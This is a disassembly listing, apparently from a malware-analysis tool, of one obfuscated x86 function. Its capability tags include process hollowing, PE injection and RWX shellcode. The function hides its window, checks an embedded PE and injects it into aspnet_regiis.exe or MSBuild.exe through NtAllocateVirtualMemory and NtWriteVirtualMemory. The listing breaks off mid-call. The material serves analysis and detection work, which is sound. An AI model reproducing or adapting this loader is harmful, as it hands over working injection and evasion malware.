Function at 0x100042c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [0x10068200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x194], 0xffe81629
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x198], eax
sub eax, 0x82cd5fac
je 0x10005242
jmp 0x100042fc
mov eax, dword [ebp - 0x198]
sub eax, 0x83f71786
je 0x10005cf0
jmp 0x10004312
mov eax, dword [ebp - 0x198]
sub eax, 0x8422983f
je 0x100064f6
jmp 0x10004328
mov eax, dword [ebp - 0x198]
sub eax, 0x877a8437
je 0x10007a27
jmp 0x1000433e
mov eax, dword [ebp - 0x198]
sub eax, 0x884086bf
je 0x100068d3
jmp 0x10004354
mov eax, dword [ebp - 0x198]
sub eax, 0x8a45ce03
je 0x10007749
jmp 0x1000436a
mov eax, dword [ebp - 0x198]
sub eax, 0x8a9daec2
je 0x10007290
jmp 0x10004380
mov eax, dword [ebp - 0x198]
sub eax, 0x8acdaf66
je 0x100078e1
jmp 0x10004396
mov eax, dword [ebp - 0x198]
sub eax, 0x8becae7c
je 0x1000747f
jmp 0x100043ac
mov eax, dword [ebp - 0x198]
sub eax, 0x8d2f3d78
je 0x10006cad
jmp 0x100043c2
mov eax, dword [ebp - 0x198]
sub eax, 0x8eebb0f2
je 0x10005bad
jmp 0x100043d8
mov eax, dword [ebp - 0x198]
sub eax, 0x90e0cafd
je 0x10006658
jmp 0x100043ee
mov eax, dword [ebp - 0x198]
sub eax, 0x911c7f1d
je 0x10005516
jmp 0x10004404
mov eax, dword [ebp - 0x198]
sub eax, 0x91ba0655
je 0x100078cc
jmp 0x1000441a
mov eax, dword [ebp - 0x198]
sub eax, 0x92d1496b
je 0x100069e9
jmp 0x10004430
mov eax, dword [ebp - 0x198]
sub eax, 0x933b537c
je 0x1000773a
jmp 0x10004446
mov eax, dword [ebp - 0x198]
sub eax, 0x937d5678
je 0x10005598
jmp 0x1000445c
mov eax, dword [ebp - 0x198]
sub eax, 0x94c78019
je 0x100076f5
jmp 0x10004472
mov eax, dword [ebp - 0x198]
sub eax, 0x9522a8f0
je 0x100058ec
jmp 0x10004488
mov eax, dword [ebp - 0x198]
sub eax, 0x95af60cb
je 0x1000513f
jmp 0x1000449e
mov eax, dword [ebp - 0x198]
sub eax, 0x95daa469
je 0x10005310
jmp 0x100044b4
mov eax, dword [ebp - 0x198]
sub eax, 0x95fc02d2
je 0x1000749d
jmp 0x100044ca
mov eax, dword [ebp - 0x198]
sub eax, 0x96b122cc
je 0x100073a2
jmp 0x100044e0
mov eax, dword [ebp - 0x198]
sub eax, 0x99be19c1
je 0x1000760c
jmp 0x100044f6
mov eax, dword [ebp - 0x198]
sub eax, 0x9c2fbd64
je 0x100052b0
jmp 0x1000450c
mov eax, dword [ebp - 0x198]
sub eax, 0x9c83925f
je 0x10005df0
jmp 0x10004522
mov eax, dword [ebp - 0x198]
sub eax, 0x9d4cd398
je 0x10006a0a
jmp 0x10004538
mov eax, dword [ebp - 0x198]
sub eax, 0xa29bc2e9
je 0x10007393
jmp 0x1000454e
mov eax, dword [ebp - 0x198]
sub eax, 0xa79751ec
je 0x10006bdf
jmp 0x10004564
mov eax, dword [ebp - 0x198]
sub eax, 0xa82b3aaf
je 0x100060aa
jmp 0x1000457a
mov eax, dword [ebp - 0x198]
sub eax, 0xa9ca410d
je 0x10006d8a
jmp 0x10004590
mov eax, dword [ebp - 0x198]
sub eax, 0xa9e8b7c5
je 0x10007418
jmp 0x100045a6
mov eax, dword [ebp - 0x198]
sub eax, 0xab79c6d8
je 0x10006cda
jmp 0x100045bc
mov eax, dword [ebp - 0x198]
sub eax, 0xaba1a005
je 0x10005acb
jmp 0x100045d2
mov eax, dword [ebp - 0x198]
sub eax, 0xabbf8d9c
je 0x100061cb
jmp 0x100045e8
mov eax, dword [ebp - 0x198]
sub eax, 0xae84d8bf
je 0x100064a5
jmp 0x100045fe
mov eax, dword [ebp - 0x198]
sub eax, 0xaf864e22
je 0x10007585
jmp 0x10004614
mov eax, dword [ebp - 0x198]
sub eax, 0xb074023f
je 0x1000642f
jmp 0x1000462a
mov eax, dword [ebp - 0x198]
sub eax, 0xb167c650
je 0x10005cc8
jmp 0x10004640
mov eax, dword [ebp - 0x198]
sub eax, 0xb4185cfa
je 0x1000799d
jmp 0x10004656
mov eax, dword [ebp - 0x198]
sub eax, 0xb4d0991a
je 0x10006039
jmp 0x1000466c
mov eax, dword [ebp - 0x198]
sub eax, 0xb60b71e8
je 0x10007089
jmp 0x10004682
mov eax, dword [ebp - 0x198]
sub eax, 0xb61b37d0
je 0x100078fc
jmp 0x10004698
mov eax, dword [ebp - 0x198]
sub eax, 0xb8389b27
je 0x10006ab8
jmp 0x100046ae
mov eax, dword [ebp - 0x198]
sub eax, 0xb8fe3ab2
je 0x100054a0
jmp 0x100046c4
mov eax, dword [ebp - 0x198]
sub eax, 0xb90dfc39
je 0x10006958
jmp 0x100046da
mov eax, dword [ebp - 0x198]
sub eax, 0xb9f299c9
je 0x10007098
jmp 0x100046f0
mov eax, dword [ebp - 0x198]
sub eax, 0xbb8bcd29
je 0x10006084
jmp 0x10004706
mov eax, dword [ebp - 0x198]
sub eax, 0xbf0c7515
je 0x10005c31
jmp 0x1000471c
mov eax, dword [ebp - 0x198]
sub eax, 0xbf4ef7d7
je 0x10006018
jmp 0x10004732
mov eax, dword [ebp - 0x198]
sub eax, 0xc4e0369f
je 0x10007169
jmp 0x10004748
mov eax, dword [ebp - 0x198]
sub eax, 0xc744a699
je 0x10006d2b
jmp 0x1000475e
mov eax, dword [ebp - 0x198]
sub eax, 0xc7ca3b81
je 0x1000787b
jmp 0x10004774
mov eax, dword [ebp - 0x198]
sub eax, 0xca0a39a8
je 0x10005371
jmp 0x1000478a
mov eax, dword [ebp - 0x198]
sub eax, 0xce64b39f
je 0x100066d6
jmp 0x100047a0
mov eax, dword [ebp - 0x198]
sub eax, 0xcf4496ac
je 0x100070b6
jmp 0x100047b6
mov eax, dword [ebp - 0x198]
sub eax, 0xd2c1f96b
je 0x1000569e
jmp 0x100047cc
mov eax, dword [ebp - 0x198]
sub eax, 0xd72230c1
je 0x10006790
jmp 0x100047e2
mov eax, dword [ebp - 0x198]
sub eax, 0xd7fe1506
je 0x100078bd
jmp 0x100047f8
mov eax, dword [ebp - 0x198]
sub eax, 0xd8b9208e
je 0x10006a78
jmp 0x1000480e
mov eax, dword [ebp - 0x198]
sub eax, 0xdf850257
je 0x100079d6
jmp 0x10004824
mov eax, dword [ebp - 0x198]
sub eax, 0xe2411660
je 0x10005cad
jmp 0x1000483a
mov eax, dword [ebp - 0x198]
sub eax, 0xe5a9c8f9
je 0x10006e12
jmp 0x10004850
mov eax, dword [ebp - 0x198]
sub eax, 0xe680ccb8
je 0x100052d1
jmp 0x10004866
mov eax, dword [ebp - 0x198]
sub eax, 0xe88b6872
je 0x10005221
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, [0x100151e1]
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c200
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x125], al
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
mov edx, eax
add edx, 0xfc70b9a0
sub edx, 1
sub edx, 0xfc70b9a0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf864e22
mov ecx, 0xe88b6872
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x194], 0x217a1273
jmp 0x10007a4f
mov dl, byte [ebp - 0x11a]
mov eax, 0x95fc02d2
mov ecx, 0xe680ccb8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x194], 0x95daa469
jmp 0x10007a4f
mov eax, dword [ebp - 0x170]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10008fe0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10008fe0
add esp, 0xc
mov dword [ebp - 0x194], 0xca0a39a8
jmp 0x10007a4f
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x99be19c1
mov ecx, 0x647d8373
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
mov edx, ecx
add edx, 0x2ce53481
sub edx, 1
sub edx, 0x2ce53481
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7297e36e
mov ecx, 0x911c7f1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x178], eax
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
mov edx, ecx
add edx, 0xe1149e0
sub edx, 1
sub edx, 0xe1149e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7297e36e
mov ecx, 0x937d5678
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x691d4a00
jmp 0x10007a4f
lea eax, [ebp - 0x20]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x194], 0x3cd02b81
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x2f1a7a64
jmp 0x10007a4f
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
mov edx, eax
sub edx, 0xaefc9cd1
sub edx, 1
add edx, 0xaefc9cd1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x933b537c
mov ecx, 0x2d1c8091
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x4b0e606
jmp 0x10007a4f
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0x14]
mov ecx, dword [ebp - 0xf4]
xor eax, eax
sub eax, edx
sub ecx, eax
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x188]
imul esi, dword [ebp - 0x18c], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0x6ed69c0
add edx, eax
add edx, 0x6ed69c0
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x194], 0xe2411660
jmp 0x10007a4f
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x194], 0xb167c650
jmp 0x10007a4f
mov eax, dword [ebp - 0xe8]
sub eax, 0x2a5ff351
add eax, 1
add eax, 0x2a5ff351
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x194], 0xaba1a005
jmp 0x10007a4f
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
mov edx, ecx
sub edx, 0xf3f4e2b0
sub edx, 1
add edx, 0xf3f4e2b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8a45ce03
mov ecx, 0x2a3dba7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x746430ec
jmp 0x10007a4f
mov dl, byte [ebp - 0xd5]
mov eax, 0x7334a9d3
mov ecx, 0xb4d0991a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x15c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
sub eax, 0xf932b5a2
add eax, ecx
add eax, 0xf932b5a2
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x194], 0xbb8bcd29
jmp 0x10007a4f
mov edx, dword [ebp - 0xd4]
mov esi, dword [ebp - 0xd0]
mov eax, 0x7334a9d3
mov ecx, 0xa82b3aaf
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x194], 0xf999ca03
jmp 0x10007a4f
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
add eax, 0xd338540c
add eax, 1
sub eax, 0xd338540c
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x194], 0x4b5fdbdb
jmp 0x10007a4f
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
mov edx, ecx
add edx, 0x451a70f
sub edx, 1
sub edx, 0x451a70f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a736d2
mov ecx, 0xae84d8bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
mov edx, eax
add edx, 0x6e1ca9d4
sub edx, 1
sub edx, 0x6e1ca9d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a736d2
mov ecx, 0x8422983f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x6417ca71
jmp 0x10007a4f
mov eax, dword [ebp - 0xb8]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb1], al
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a379ed7
mov ecx, 0x6ab673f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7fe1506
mov ecx, 0x7ef68c2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x190]
mov ecx, dword [eax + 4]
sub ecx, 0xf279a371
sub ecx, 8
add ecx, 0xf279a371
shr ecx, 1
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + 0x34]
sub ecx, 0x2ea3aa9c
sub ecx, eax
add ecx, 0x2ea3aa9c
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov dword [ebp - 0x194], 0x15f9b979
jmp 0x10007a4f
mov dword [ebp - 0x194], 0xffe8b86c
jmp 0x10007a4f
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xac]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0xa5], al
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
mov edx, ecx
add edx, 0xceec757e
sub edx, 1
sub edx, 0xceec757e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8acdaf66
mov ecx, 0x92d1496b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dl, byte [ebp - 0xa5]
mov eax, 0x13f6bcea
mov ecx, 0x9d4cd398
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x194], 0x3f82f41
jmp 0x10007a4f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x190]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x194], 0xb8389b27
jmp 0x10007a4f
mov ecx, dword [ebp - 0x9c]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0xa0]
sub ecx, 0xd7295f4c
add ecx, eax
add ecx, 0xd7295f4c
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0x65ad1c94
mov ecx, 0x3978a2ae
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov edx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
mov edx, ecx
sub edx, 0x8b59fd5c
sub edx, 1
add edx, 0x8b59fd5c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb61b37d0
mov ecx, 0x8d2f3d78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x65ad1c94
jmp 0x10007a4f
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
mov edx, eax
sub edx, 0x9ee07d80
sub edx, 1
add edx, 0x9ee07d80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4185cfa
mov ecx, 0xc744a699
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
mov edx, eax
sub edx, 0x601f191f
sub edx, 1
add edx, 0x601f191f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4185cfa
mov ecx, 0xa9ca410d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x3b1f9ced
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x69377465
jmp 0x10007a4f
mov dword [ebp - 0x194], 0xb9f299c9
jmp 0x10007a4f
mov edx, dword [ebp - 0x80]
mov eax, 0x678788ea
mov ecx, 0xcf4496ac
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
mov edx, eax
add edx, 0x9bd10d3c
sub edx, 1
sub edx, 0x9bd10d3c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf850257
mov ecx, 0xf2a85327
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x48758c6f
jmp 0x10007a4f
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
mov edx, eax
add edx, 0x49170fc8
sub edx, 1
sub edx, 0x49170fc8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x797903f5
mov ecx, 0xec561daf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x96b122cc
jmp 0x10007a4f
mov ecx, dword [0x10069538]
mov eax, dword [0x10069534]
mov edx, ecx
add edx, 0x65cf10e8
sub edx, 1
sub edx, 0x65cf10e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x877a8437
mov ecx, 0xa9e8b7c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10069538]
mov ecx, dword [0x10069534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x877a8437
mov ecx, 0x2ef045a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10007a4f
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x194], 0x95fc02d2
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x5c0bbb4
jmp 0x10007a4f
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, [0x100151e1]
sub esp, 4
mov dword [esp], eax
call fcn.100011e0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c200
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x194], 0x95af60cb
jmp 0x10007a4f
mov eax, dword [ebp - 0x16c]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x171], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x194], 0x647d8373
jmp 0x10007a4f
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x194], 0x29d2556c
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x2d1c8091
jmp 0x10007a4f
mov dword [ebp - 0x190], 0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0
mov dword [ebp - 0x194], 0x2a3dba7d
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x4002c32
jmp 0x10007a4f
mov dword [ebp - 0x194], 0x7ef68c2c
jmp 0x10007a4f
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x194], 0x31aec888
jmp 0x10007a4f
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x194], 0xb90dfc39
jmp 0x10007a4f
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
